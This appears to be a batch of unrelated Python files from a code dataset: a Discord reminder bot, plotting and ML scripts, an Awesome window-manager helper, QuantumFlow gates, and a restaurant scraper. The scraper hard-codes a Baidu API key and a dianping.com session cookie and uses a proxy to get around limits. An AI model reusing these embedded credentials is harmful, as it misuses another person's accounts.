`daily`, `weekly`, \"\n \"`monthly`, before your message!\")\n bad_input = True\n if quote == \"\":\n if bad_input and freq == \"\" or not bad_input:\n await ctx.send(\"Please specify a reminder message!\")\n else:\n pass\n bad_input = True\n if bad_input:\n return\n\n conn = sqlite3.connect(self.bot.config.db_path)\n c = conn.cursor()\n t = (ctx.message.author.id, ctx.message.author.name, quote, freq,\n datetime.datetime.now(), datetime.datetime.now())\n reminders = c.execute(\n 'SELECT * FROM Reminders WHERE Reminder =? AND ID = ?',\n (quote, ctx.message.author.id)).fetchall()\n if len(reminders) > 0:\n await ctx.send(\n \"The reminder `{}` already exists in your database. Please specify a unique reminder \"\n \"message!\".format(quote))\n return\n reminders = c.execute('SELECT * FROM Reminders WHERE ID =?',\n (ctx.message.author.id, )).fetchall()\n try:\n c.execute('INSERT INTO Reminders VALUES (?, ?, ?, ?, ?, ?)', t)\n except sqlite3.OperationalError:\n c.execute(\n \"CREATE TABLE 'Reminders' ('ID'INTEGER,'Name'TEXT,'Reminder'TEXT,'Frequency'TEXT,'Date'\\\n TEXT,'LastReminder'TEXT)\")\n c.execute('INSERT INTO Reminders VALUES (?, ?, ?, ?, ?. ?)', t)\n # Strips the string \"to \" from reminder messages\n if quote[:3].lower() == \"to \":\n quote = quote[3:]\n await ctx.author.send(\n 'Hi {}! \\nI will remind you to {} {} until you send me a message to stop '\n 'reminding you about it! [{:d}]'.format(ctx.author.name, quote,\n freq,\n len(reminders) + 1))\n await ctx.send('Reminder added.')\n conn.commit()\n conn.close()\n\n\ndef setup(bot):\n database = Reminder(bot)\n bot.add_cog(database)\n bot.loop.create_task(database.check_reminders())\n","sub_path":"cogs/reminder.py","file_name":"reminder.py","file_ext":"py","file_size_in_byte":22746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"336907034","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport sys\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nloaddatapath=os.getenv(\"PWD\")+'/../'\nsys.path.append(loaddatapath)\nimport loaddata as LD\nimport pdb \nplt.rc('font',family='Arial')\n\nif __name__==\"__main__\":\n columnsName_CPG=['RFO1','RFO2','RHO1','RHO2','LFO1','LFO2','LHO1','LKO2',\n 'RFSA','RHSA','LFSA','LHSA',\n 'RFACITerm0','RFACITerm1','RHACITerm0','RHACITerm1','LFACITerm0','LFACITerm1','LHACITerm0','LHACITerm1',\n 'RFSFTerm0','RFSFTerm1','RHSFTerm0','RHSFTerm1','LFSFTerm0','LFSFTerm1','LHSFTerm0','LHSFTerm1',\n 'RFFM','RHFM','LFFM','LHFM']\n fileName_CPG=\"controlfile_CPG\"\n columnsName_GRF=['RF','RH','LF','LH']\n fileName_GRF='sensorfile_GRF'\n fileName_joint='sensorfile_joint'\n columnsName_joint=['j1','j2','j3','j4','j5,''j6',\n 'j7','j8','j9','j10','j11','j12','s'\n ]*2\n fileName_POSE='sensorfile_POSE'\n columnsName_POSE=['roll','picth','yaw', 'x','y','z']\n freq=60.0 # 60Hz,\n joint_data=LD.loadData(fileName_joint,columnsName_joint,'1225222042')\n pose_data=LD.loadData(fileName_POSE,columnsName_POSE,'1225222042')\n grf_data=LD.loadData(fileName_GRF,columnsName_GRF,'1225222042')\n\n #2) postprecessing \n if len(sys.argv)>=2:\n run_id = int(sys.argv[1]) # The id of the experiments\n else:\n run_id = 0\n\n read_rows=min([40000,grf_data[run_id].shape[0], pose_data[run_id].shape[0]])\n start_point=1000\n end_point=read_rows\n time = np.linspace(int(start_point/freq),int(end_point/freq),end_point-start_point)\n\n #3) plot\n font_legend = {'family' : 'Arial',\n 'weight' : 'light',\n 'size' : 10,\n 'style' :'italic'\n }\n font_label = {'family' : 'Arial',\n 'weight' : 'light',\n 'size' : 12,\n 'style' :'normal'\n }\n\n font_title = {'family' : 'Arial',\n 'weight' : 'light',\n 'size' : 12,\n 'style' :'normal'\n }\n\n figsize=(10.5118,4.1244)\n fig,axs = plt.subplots(2,1,figsize=figsize,constrained_layout=False)\n fig.subplots_adjust(hspace=0.15)\n fig.subplots_adjust(left=0.14)\n fig.subplots_adjust(bottom=0.11)\n fig.subplots_adjust(right=0.98)\n fig.subplots_adjust(top=0.98)\n xticks=list(range(int(time[0]),int(time[-1])+1,1))\n\n idx=0\n axs[idx].plot(time,grf_data[run_id].iloc[start_point:end_point,0],'r')\n axs[idx].plot(time,grf_data[run_id].iloc[start_point:end_point,1],'g')\n axs[idx].plot(time,grf_data[run_id].iloc[start_point:end_point,2],'b')\n axs[idx].plot(time,grf_data[run_id].iloc[start_point:end_point,3],'k')\n #axs[idx].plot(time,joint_data[run_id].iloc[start_point:end_point,4],'b')\n axs[idx].legend([r'Pitch'], loc='upper left',prop=font_legend)\n axs[idx].grid(which='both',axis='x',color='k',linestyle=':')\n axs[idx].axis([time[0],time[-1],-3,3],'tight')\n axs[idx].set_xticks(xticks)\n axs[idx].set_xticklabels(labels=[])\n axs[idx].set_yticks([-1.0,0.0,1.0])\n #axs[idx].set_yticklabels(labels=['-1.0','0.0','1.0'],fontweight='light')\n axs[idx].set_ylabel('CPG',font_label)\n #axs[idx].set_title(\"CPG outputs of the right front leg\",font2)\n#\n# idx=1\n# axs[idx].plot(time,grf_data[run_id].iloc[start_point:end_point,1],'b')\n# axs[idx].legend([r'Pitch'], loc='upper left',prop=font_legend)\n# axs[idx].grid(which='both',axis='x',color='k',linestyle=':')\n# axs[idx].axis([time[0],time[-1],-1.0,1.0],'tight')\n# axs[idx].set_xticks(xticks)\n# axs[idx].set_xticklabels(labels=[])\n# axs[idx].set_yticks([-1.0,0.0,1.0])\n# axs[idx].set_yticklabels(labels=['-1.0','0.0','1.0'],fontweight='light')\n# axs[idx].set_ylabel('CPG',font_label)\n# #axs[idx].set_title(\"CPG outputs of the right front leg\",font2)\n# axs[idx].set_xlabel('Time [s]',font_label)\n# #axs[idx].set_title(\"Adaptive control input term of the right front leg\")\n#\n \n plt.savefig('/media/suntao/DATA/Research/P1_workspace/Figures/Fig13_source.svg')\n plt.show()\n\n","sub_path":"P1/Fig13.py","file_name":"Fig13.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"287452285","text":"from lg_msg_defs.msg import WindowGeometry\nimport subprocess\nimport os\n\n\nclass WindowIdentityError(Exception):\n pass\n\n\ndef regex_escape(raw):\n \"\"\"Escape lua regex.\"\"\"\n escaped = raw\n escaped = escaped.replace(\"%\", \"%%\")\n escaped = escaped.replace(\"^\", \"%^\")\n escaped = escaped.replace(\"$\", \"%$\")\n escaped = escaped.replace(\"(\", \"%(\")\n escaped = escaped.replace(\")\", \"%)\")\n escaped = escaped.replace(\"[\", \"%[\")\n escaped = escaped.replace(\"]\", \"%]\")\n escaped = escaped.replace(\".\", \"%.\")\n escaped = escaped.replace(\"*\", \"%*\")\n escaped = escaped.replace(\"+\", \"%+\")\n escaped = escaped.replace(\"-\", \"%-\")\n escaped = escaped.replace(\"?\", \"%?\")\n escaped = escaped.replace(\"\\0\", \"%z\")\n return escaped\n\n\ndef get_rule_types(window):\n \"\"\"Get a dict of rule types and values for the window.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n Dict[str,str]\n\n Raises:\n WindowIdentityError: If the window identity can not be determined.\n \"\"\"\n rules = {}\n if window.w_name is not None:\n rules['name'] = regex_escape(window.w_name)\n if window.w_instance is not None:\n rules['instance'] = regex_escape(window.w_instance)\n if window.w_class is not None:\n rules['class'] = regex_escape(window.w_class)\n if not rules:\n raise WindowIdentityError('Could not determine window identity')\n return rules\n\n\ndef get_rule_pattern(window):\n \"\"\"Get a rule to match the given window.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: Comma-separated awesome rules to match the window.\n \"\"\"\n def pattern(r):\n return \"%s = '%s'\" % r\n patternized = list(map(pattern, iter(get_rule_types(window).items())))\n return ', '.join(patternized)\n\n\ndef get_properties(window, chrome_kiosk_workaround=False):\n \"\"\"Get a properties string to converge the window to its state.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: Comma-separated awesome properties for the window.\n \"\"\"\n prop_list = [\n \"border_width = 0\",\n \"size_hints_honor = false\",\n \"floating = true\",\n # Chrome Kiosk Workaround:\n # Trick Chrome in kiosk mode by setting fullscreen to true here.\n # In the callback we will set it to false.\n \"fullscreen = {}\".format('true' if chrome_kiosk_workaround else 'false'),\n \"maximized = false\",\n \"hidden = {}\".format('false' if window.is_visible else 'true'),\n \"minimized = {}\".format('false' if window.is_visible else 'true'),\n \"opacity = {}\".format(1 if window.is_visible else 0),\n ]\n if window.geometry is not None:\n prop_list.extend([\n \"width = {}\".format(window.geometry.width),\n \"height = {}\".format(window.geometry.height),\n ])\n return ', '.join(prop_list)\n\n\ndef get_callback(window):\n \"\"\"Get an awesome callback to move the window to its proper spot.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: awesome callback for window geometry.\n \"\"\"\n if window.geometry is not None:\n return \"function(c) awful.client.property.set(c, 'fullscreen', false) c.fullscreen = false c:geometry({x=%d, y=%d, width=%d, height=%d}) c:connect_signal('property::fullscreen', function() if c.fullscreen then c.fullscreen = false end end) end\" % (\n window.geometry.x,\n window.geometry.y,\n window.geometry.width,\n window.geometry.height,\n )\n else:\n return \"\"\n\n\ndef get_entry(window, chrome_kiosk_workaround=False):\n \"\"\"Get the full awesome (awful) rule that will converge the window.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: awesome rule for the window.\n \"\"\"\n rule = get_rule_pattern(window)\n properties = get_properties(window, chrome_kiosk_workaround)\n callback = get_callback(window)\n return \"{ rule = { %s }, properties = { %s }, callback = %s }\" % (rule, properties, callback)\n\n\ndef get_subtractive_script(window):\n \"\"\"Get a script that will remove existing awesome (awful) rules for the\n window.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: Lua code to remove existing rules for the window.\n \"\"\"\n rules = get_rule_types(window)\n\n def rule(r):\n return \"rule['rule']['%s'] == '%s'\" % r\n checks = ' and '.join(map(rule, iter(rules.items())))\n return \"for key,rule in pairs(awful.rules.rules) do if rule['rule'] ~= nil and {checks} then table.remove(awful.rules.rules, key) end end\".format(\n checks=checks\n )\n\n\ndef get_additive_script(window, chrome_kiosk_workaround=False):\n \"\"\"Get a script that will add an awesome (awful) rule for the window.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: Lua code to add the window rule.\n \"\"\"\n entry = get_entry(window, chrome_kiosk_workaround)\n return \"table.insert(awful.rules.rules, 1, {entry})\".format(entry=entry)\n\n\ndef get_apply_script(window):\n \"\"\"Get a script that will apply rules to all awesome window clients that\n match the window's identity.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: Lua code to apply rules to all matching windows.\n \"\"\"\n pattern = get_rule_pattern(window)\n return \"for k,c in pairs(client.get()) do if awful.rules.match(c, {%s}) then awful.rules.apply(c) end end\" % pattern\n\n\ndef get_script(window, chrome_kiosk_workaround=False):\n \"\"\"Combine scripts to form a mega-script that fixes everything.\n\n Args:\n window (ManagedWindow)\n\n Returns:\n str: Lua code to make awesome put the window in the right place.\n \"\"\"\n return ' '.join([\n \"local awful = require('awful') awful.rules = require('awful.rules')\",\n get_subtractive_script(window),\n get_additive_script(window, chrome_kiosk_workaround),\n get_apply_script(window)\n ])\n\n\ndef get_awesome_pid():\n awesome_pid = None\n\n try:\n awesome_pid = int(subprocess.check_output(['pidof', 'x-window-manager']))\n except Exception:\n pass\n try:\n awesome_pid = int(subprocess.check_output(['pidof', 'awesome']))\n except Exception:\n pass\n try:\n awesome_pid = int(subprocess.check_output(['pidof', '/usr/bin/awesome']))\n except Exception:\n pass\n\n return awesome_pid\n\n\ndef get_environ():\n \"\"\"Attempt to copy relevant environment of the window manager.\"\"\"\n awesome_pid = get_awesome_pid()\n if awesome_pid is None:\n raise Exception('Could not find awesome pid')\n\n with open('/proc/{}/environ'.format(awesome_pid), 'r') as f:\n awesome_environ_raw = f.read().strip('\\0')\n\n def split_environ(raw):\n pair = raw.split('=', 1)\n return pair[0], pair[1]\n pairs = list(map(split_environ, awesome_environ_raw.split('\\0')))\n awesome_environ = dict((p[0], p[1]) for p in pairs)\n\n env = os.environ.copy()\n\n def copy_environ(k):\n env[k] = awesome_environ[k]\n copy_environ('DISPLAY')\n copy_environ('DBUS_SESSION_BUS_ADDRESS')\n copy_environ('XAUTHORITY')\n\n return env\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n","sub_path":"lg_common/src/lg_common/awesome.py","file_name":"awesome.py","file_ext":"py","file_size_in_byte":7145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"443356208","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 5 13:58:31 2021\r\n\r\n@author: ustc\r\n\"\"\"\r\n# this is a programmon which searches restaurants in a city,and then rank them\r\n\r\nfrom flask import Flask, render_template\r\nimport requests\r\nimport json\r\nimport time\r\nimport random\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\n\r\ndef getjson(location,page_num=0):#get data from the API of baidu map\r\n headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.16) Gecko/20201130 Firefox/3.5.16'}\r\n restaurant = {'q':'美食',\r\n #keyword is the yummy food\r\n \r\n 'region': location,\r\n 'scope': '2',\r\n 'page-size':20,\r\n 'page_num': page_num,\r\n 'output':'json',\r\n #'ak':'8Aoqw1l43V8GTCniw0coFWVPVBgPYRjO' #a backup for 'ak',which is an access to API\r\n 'ak':'DDtVK6HPruSSkqHRj5gTk0rc' \r\n }\r\n r = requests.get(\"http://api.map.baidu.com/place/v2/search\",params=restaurant,headers= headers)\r\n decodejson = json.loads(r.text)\r\n #print(decodejson)\r\n return decodejson\r\n\r\n\r\nclass resturants_of_city:\r\n def __init__ (self,city,region1,region2,region3,region4):\r\n self.city = city\r\n self.region1 = region1\r\n self.region2 = region2\r\n self.region3 = region3\r\n self.region4 = region4 \r\n \r\n def search_and_show(self):\r\n region_list = {self.region1,self.region2,self.region3,self.region4}\r\n \r\n #initial the list\r\n best1=most_popular1=most_expensive1={'rank':1,'name':'0','image':'0','address':'0','price':0,'overall_rating':0,'comment_num':0}\r\n best2=most_popular2=most_expensive2={'rank':2,'name':'0','image':'0','address':'0','price':0,'overall_rating':0,'comment_num':0}\r\n best3=most_popular3=most_expensive3={'rank':3,'name':'0','image':'0','address':'0','price':0,'overall_rating':0,'comment_num':0}\r\n \r\n for each_region in region_list:\r\n not_last_page = True\r\n page_num = 0\r\n while not_last_page:\r\n decodejson = getjson(self.city + each_region,page_num)\r\n print(each_region,page_num)\r\n time.sleep(random.random())#avoid the restriction from baidu API\r\n \r\n try:\r\n decodejson['total'] #something goes wrong when it turns the last page\r\n \r\n if decodejson['total']!=0:\r\n for each_place in decodejson['results']:#get information of a restaurant\r\n place = each_place['name']\r\n address = each_place['address']\r\n try:\r\n price = float(each_place['detail_info']['price'] ) \r\n except:\r\n price = 0\r\n try:\r\n rating = float(each_place['detail_info']['overall_rating'] ) \r\n except:\r\n rating = 0\r\n try:\r\n comment_num = int(each_place['detail_info']['comment_num'] ) \r\n except:\r\n comment_num = 0\r\n \r\n output = '\\t'.join([place,address,str(price),str(rating),str(comment_num)]) + '\\r\\n'\r\n #print(output)\r\n \r\n #store all the information in a file named \"restaurants.txt\"\r\n with open('restaurants.txt', 'a+', encoding='UTF-8') as f:\r\n f.write(output)\r\n f.close()\r\n \r\n new={'rank':0,'name':place,'image':'0','address':address,'price':price,'overall_rating':rating,'comment_num':comment_num}\r\n \r\n #rank by price/rating/comment number\r\n if price>=most_expensive1['price']:\r\n most_expensive3 = most_expensive2\r\n most_expensive2 = most_expensive1\r\n most_expensive1 = new\r\n elif price>=most_expensive2['price']:\r\n most_expensive3 = most_expensive2\r\n most_expensive2 = new \r\n elif price>=most_expensive3['price']:\r\n most_expensive3 = new \r\n \r\n if rating>=best1['overall_rating']:\r\n best3 = best2\r\n best2 = best1\r\n best1 = new\r\n elif rating>=best2['overall_rating']:\r\n best3 = best2\r\n best2 = new\r\n elif rating>=best3['overall_rating']:\r\n best3 =new\r\n \r\n if comment_num>=most_popular1['comment_num']:\r\n most_popular3 = most_popular2\r\n most_popular2 = most_popular1\r\n most_popular1 = new\r\n elif comment_num>=most_popular2['comment_num']:\r\n most_popular3 = most_popular2\r\n most_popular2 = new\r\n elif comment_num>=most_popular3['comment_num']:\r\n most_popular3 = new \r\n \r\n #after collecting all the information in a page ,turn to next page\r\n page_num=page_num+1\r\n \r\n else:\r\n not_last_page = False\r\n except:\r\n not_last_page = False\r\n \r\n #intial the rank\r\n best1['rank']=most_popular1['rank']=most_expensive1['rank']=1\r\n best2['rank']=most_popular2['rank']=most_expensive2['rank']=2\r\n best3['rank']=most_popular3['rank']=most_expensive3['rank']=3\r\n \r\n #collect all the names of the three top restaurants,and then go to \"www.dianping.com\" to find their images\r\n new = [most_expensive1['name'],most_expensive2['name'],most_expensive3['name'],most_popular1['name'],most_popular2['name'],most_popular3['name'],best1['name'],best2['name'],best3['name']]\r\n \r\n headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT6.1; en-US; rv:1.9.1.6) Gecko/20201201 Firefox/3.5.6'}\r\n \r\n #the cookie may fail, need to be changed from time to time \r\n cookie=\"fspop=test; cye=hefei; _lxsdk_cuid=178970e9127c8-0a7e2614614ad4-4c3f237d-144000-178970e9127c8; _lxsdk=178970e9127c8-0a7e2614614ad4-4c3f237d-144000-178970e9127c8; Hm_lvt_602b80cf8079ae6591966cc70a3940e7=1617540449,1617603737,1617612171,1617712454; _hc.v=2d291f0f-f5e3-68c0-5121-15b43625688f.1617442019; s_ViewType=10; cy=110; _lx_utm=utm_source%3DBaidu%26utm_medium%3Dorganic; _lxsdk_s=178a72d1497-b7-792-6c3%7C%7C105; Hm_lpvt_602b80cf8079ae6591966cc70a3940e7=1617712942\"\r\n cookie_dict = {i.split(\"=\")[0]:i.split(\"=\")[-1] for i in cookie.split(\"; \")}\r\n \r\n i=0\r\n str2 = ['0']*10\r\n for name in new:\r\n link = 'https://www.dianping.com/search/keyword/110/0_' + name \r\n proxies ={'http':'http://49.70.17.135'}\r\n response =requests.get(link, proxies=proxies)\r\n r = requests.get(link, headers =headers, cookies =cookie_dict, timeout=1)\r\n soup = BeautifulSoup(r.text,\"lxml\")\r\n time.sleep(random.random())\r\n html =r.text\r\n #print(html)\r\n \r\n #search the sites of the photo,which exist in two ways below\r\n try:\r\n result = re.search('src=\"https://.*?/>',html)\r\n str1 = result.group()\r\n except:\r\n result = re.search('src=\"http://.*?/>',html)\r\n str1 = result.group()\r\n\r\n #absorb the surplus chars\r\n str1=str1.lstrip('src=\"')\r\n str1=str1.rstrip('\"/>')\r\n \r\n print(name)\r\n print(str1)\r\n \r\n#store the sites of photos of each restaurant in list str2[]\r\n str2[i]=str1\r\n i=i+1\r\n \r\n #create lists:most_popular,most_expensive,best\r\n most_popular = [most_popular1,most_popular2,most_popular3]\r\n most_expensive = [most_expensive1,most_expensive2,most_expensive3]\r\n best = [best1,best2,best3]\r\n \r\n i=0\r\n \r\n for a in most_expensive: \r\n a['image']=str2[i]\r\n i=i+1\r\n \r\n for a in most_popular: \r\n a['image']=str2[i]\r\n i=i+1 \r\n \r\n for a in best: \r\n a['image']=str2[i]\r\n i=i+1 \r\n \r\n print(most_popular)\r\n print(most_expensive)\r\n print(best)\r\n \r\n app = Flask(__name__)\r\n \r\n @app.route(\"/\")\r\n def index():\r\n return render_template('index.html')\r\n @app.route(\"/best\")\r\n def index1():\r\n return render_template('module1.html', restaurants=best)\r\n @app.route(\"/most_popular\")\r\n def index2():\r\n return render_template('module1.html', restaurants=most_popular)\r\n @app.route(\"/most_expensive\")\r\n def index3():\r\n return render_template('module1.html', restaurants=most_expensive) \r\n\r\n app.run()\r\n","sub_path":"another_test.py","file_name":"another_test.py","file_ext":"py","file_size_in_byte":9900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"179149799","text":"from tkinter import *\n\nroot = Tk()\nroot.title(\"Nado GUI\")\nroot.geometry(\"640x480\") # \"가로 x 세로 + x좌표 + y좌표\"\nroot.resizable(True, True)\n\nchkvar = IntVar() #chkvar 에 int 형으로 값을 저장\nchkbox = Checkbutton(root, text = \"오늘하루 보지 않기\", variable = chkvar)\n# chkbox.select()\n# chkbox.deselect()\nchkbox.pack()\n\nchkvar2 = IntVar()\nchkbox2 = Checkbutton(root, text = \"일주일동안 보지 않기\", variable = chkvar2)\nchkbox2.pack()\n\n\n\ndef btncmd():\n print(chkvar.get()) # 0 : 체크 해제, 1: 체크\n print(chkvar2.get())\n\n \nbtn = Button(root, text=\"click\", command=btncmd)\nbtn.pack()\n\nroot.mainloop()\n","sub_path":"GUI/6_checkbox.py","file_name":"6_checkbox.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"486057106","text":"import csv\nimport sys\nimport sklearn\nimport numpy\n\n\nfrom sklearn import svm\n\nfrom sklearn.neural_network import MLPClassifier\n\nfrom sklearn import tree\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn import preprocessing as pp\nfrom sklearn.preprocessing import StandardScaler, RobustScaler\n\nfr = 0.95\n\n\n\n# read input\nreader = csv.reader(open(\"dataset1.csv\"), delimiter=\",\")\nx = list(reader)\n\ndata = numpy.array(x).astype(\"float\")\nlabel_idx = data.shape[1]-1\nlabels = data[:, label_idx].astype(int)\ndata = data[:, 0:label_idx]\n\n\n# create cross-validation sets\nsample_size = data.shape[0]-1\norder = numpy.arange(sample_size)\nrs = ShuffleSplit(n_splits = 5, test_size=0.20)\n\noverall = 0\nfor train_index, test_index in rs.split(order):\n\n lim = int(train_index.shape[0] * fr)\n\n train_main_idx = train_index[0:lim]\n train_seco_idx = train_index[lim:]\n\n train_main_data = data[train_main_idx][:]\n train_main_label = labels[train_main_idx]\n\n train_seco_data = data[train_seco_idx][:]\n train_seco_label = labels[train_seco_idx]\n\n robust_scaler = RobustScaler()\n fold_train = robust_scaler.fit_transform(train_main_data)\n train_seco_data = robust_scaler.transform(train_seco_data)\n fold_test = robust_scaler.transform(data[test_index, :])\n\n # train the basic classifier with fold train\n #linear svm\n classifier_svm = svm.LinearSVC()\n classifier_svm = classifier_svm.fit(fold_train, train_main_label)\n # mlp\n classifier_mlp = MLPClassifier( hidden_layer_sizes = (72,28) )\n classifier_mlp = classifier_mlp.fit(fold_train, train_main_label)\n # random forrest\n classifier_raf = RandomForestClassifier(n_estimators=13)\n classifier_raf = classifier_raf.fit(fold_train, train_main_label)\n\n\n\n\n # boosting classifier\n label_svm = classifier_svm.predict(train_seco_data)\n label_mlp = classifier_mlp.predict(train_seco_data)\n label_raf = classifier_raf.predict(train_seco_data)\n tmp = numpy.vstack((label_svm, label_mlp, label_raf))\n boosting_features = numpy.transpose(tmp)\n\n # boosting mlp\n #classifier = MLPClassifier( hidden_layer_sizes = (5,5) )\n classifier = RandomForestClassifier(n_estimators=14)\n classifier = classifier.fit(boosting_features, train_seco_label)\n\n label_svm = classifier_svm.predict(fold_test)\n label_mlp = classifier_mlp.predict(fold_test)\n label_raf = classifier_raf.predict(fold_test)\n tmp = numpy.vstack((label_svm, label_mlp, label_raf))\n boosting_test = numpy.transpose(tmp)\n\n z = classifier.score(boosting_test, labels[test_index])\n\n\n\n overall += z\n\n\n\nprint (overall/5*100)\n","sub_path":"combined.py","file_name":"combined.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"623644886","text":"# Copyright 2020-, Gavin E. Crooks and the QuantumFlow contributors\n#\n# This source code is licensed under the Apache License, Version 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n\"\"\"\nQuantumFlow: Gates peculiar to Rigetti's Forest\n\"\"\"\n\nfrom typing import List\n\nimport numpy as np\n\nfrom .. import tensors, var\nfrom ..config import CTRL, NCTRL\nfrom ..future import cached_property\nfrom ..paulialgebra import Pauli, sZ\nfrom ..qubits import Qubit\nfrom ..tensors import QubitTensor\nfrom ..var import Variable\nfrom .stdgates import StdGate\n\n__all__ = (\"CPhase\", \"CPhase00\", \"CPhase01\", \"CPhase10\", \"PSwap\")\n\n\nclass CPhase(StdGate):\n r\"\"\"A 2-qubit 11 phase-shift gate\n\n .. math::\n \\text{CPhase}(\\theta) \\equiv \\text{diag}(1, 1, 1, e^{i \\theta})\n \"\"\"\n cv_interchangeable = True\n cv_tensor_structure = \"diagonal\"\n\n def __init__(self, theta: Variable, q0: Qubit = 0, q1: Qubit = 1) -> None:\n super().__init__(params=[theta], qubits=[q0, q1])\n\n @property\n def hamiltonian(self) -> Pauli:\n q0, q1 = self.qubits\n theta = self.param(\"theta\")\n return -theta * (1 + sZ(q0) * sZ(q1) - sZ(q0) - sZ(q1)) / 4\n\n @cached_property\n def tensor(self) -> QubitTensor:\n theta = var.asfloat(self.param(\"theta\"))\n unitary = [\n [1.0, 0, 0, 0],\n [0, 1.0, 0, 0],\n [0, 0, 1.0, 0],\n [0, 0, 0, np.exp(1j * theta)],\n ]\n return tensors.asqutensor(unitary)\n\n @property\n def H(self) -> \"CPhase\":\n return self**-1\n\n def __pow__(self, t: Variable) -> \"CPhase\":\n theta = self.param(\"theta\") * t\n return CPhase(theta, *self.qubits)\n\n def _diagram_labels_(self) -> List[str]:\n return [CTRL, \"P({theta})\"]\n\n\n# end class CPhase\n\n\nclass CPhase00(StdGate):\n r\"\"\"A 2-qubit 00 phase-shift gate\n\n .. math::\n \\text{CPhase00}(\\theta) \\equiv \\text{diag}(e^{i \\theta}, 1, 1, 1)\n \"\"\"\n cv_interchangeable = True\n cv_tensor_structure = \"diagonal\"\n\n def __init__(self, theta: Variable, q0: Qubit = 0, q1: Qubit = 1) -> None:\n super().__init__(params=[theta], qubits=[q0, q1])\n\n @property\n def hamiltonian(self) -> Pauli:\n q0, q1 = self.qubits\n theta = self.param(\"theta\")\n return -theta * (1 + sZ(q0) * sZ(q1) + sZ(q0) + sZ(q1)) / (4)\n\n @cached_property\n def tensor(self) -> QubitTensor:\n theta = var.asfloat(self.param(\"theta\"))\n unitary = [\n [np.exp(1j * theta), 0, 0, 0],\n [0, 1.0, 0, 0],\n [0, 0, 1.0, 0],\n [0, 0, 0, 1.0],\n ]\n return tensors.asqutensor(unitary)\n\n @property\n def H(self) -> \"CPhase00\":\n return self**-1\n\n def __pow__(self, t: Variable) -> \"CPhase00\":\n theta = self.param(\"theta\")\n return CPhase00(theta * t, *self.qubits)\n\n def _diagram_labels_(self) -> List[str]:\n return [NCTRL + \"({theta})\", NCTRL + \"({theta})\"]\n\n\n# end class CPhase00\n\n\nclass CPhase01(StdGate):\n r\"\"\"A 2-qubit 01 phase-shift gate\n\n .. math::\n \\text{CPhase01}(\\theta) \\equiv \\text{diag}(1, e^{i \\theta}, 1, 1)\n \"\"\"\n cv_tensor_structure = \"diagonal\"\n\n def __init__(self, theta: Variable, q0: Qubit = 0, q1: Qubit = 1) -> None:\n super().__init__(params=[theta], qubits=[q0, q1])\n\n @property\n def hamiltonian(self) -> Pauli:\n q0, q1 = self.qubits\n return -self.param(\"theta\") * (1 - sZ(q0) * sZ(q1) + sZ(q0) - sZ(q1)) / (4)\n\n @cached_property\n def tensor(self) -> QubitTensor:\n unitary = [\n [1.0, 0, 0, 0],\n [0, np.exp(1j * var.asfloat(self.param(\"theta\"))), 0, 0],\n [0, 0, 1.0, 0],\n [0, 0, 0, 1.0],\n ]\n return tensors.asqutensor(unitary)\n\n @property\n def H(self) -> \"CPhase01\":\n return self**-1\n\n def __pow__(self, t: Variable) -> \"CPhase01\":\n theta = self.param(\"theta\")\n return CPhase01(theta * t, *self.qubits)\n\n def _diagram_labels_(self) -> List[str]:\n return [NCTRL + \"({theta})\", CTRL + \"({theta})\"]\n\n\n# end class CPhase01\n\n\nclass CPhase10(StdGate):\n r\"\"\"A 2-qubit 10 phase-shift gate\n\n .. math::\n \\text{CPhase10}(\\theta) \\equiv \\text{diag}(1, 1, e^{i \\theta}, 1)\n \"\"\"\n cv_tensor_structure = \"diagonal\"\n\n def __init__(self, theta: Variable, q0: Qubit = 0, q1: Qubit = 1) -> None:\n super().__init__(params=[theta], qubits=[q0, q1])\n\n @property\n def hamiltonian(self) -> Pauli:\n q0, q1 = self.qubits\n theta = self.param(\"theta\")\n return -theta * (1 - sZ(q0) * sZ(q1) - sZ(q0) + sZ(q1)) / (4)\n\n @cached_property\n def tensor(self) -> QubitTensor:\n unitary = [\n [1.0, 0, 0, 0],\n [0, 1.0, 0, 0],\n [0, 0, np.exp(1j * var.asfloat(self.param(\"theta\"))), 0],\n [0, 0, 0, 1.0],\n ]\n return tensors.asqutensor(unitary)\n\n @property\n def H(self) -> \"CPhase10\":\n return self**-1\n\n def __pow__(self, t: Variable) -> \"CPhase10\":\n theta = self.param(\"theta\")\n return CPhase10(theta * t, *self.qubits)\n\n def _diagram_labels_(self) -> List[str]:\n return [CTRL + \"({theta})\", NCTRL + \"({theta})\"]\n\n\n# end class CPhase10\n\n\nclass PSwap(StdGate):\n r\"\"\"A 2-qubit parametric-swap gate, as defined by Quil.\n Interpolates between SWAP (theta=0) and iSWAP (theta=pi/2).\n\n Locally equivalent to ``CAN(1/2, 1/2, 1/2 - theta/pi)``\n\n .. math::\n \\text{PSwap}(\\theta) \\equiv \\begin{pmatrix} 1&0&0&0 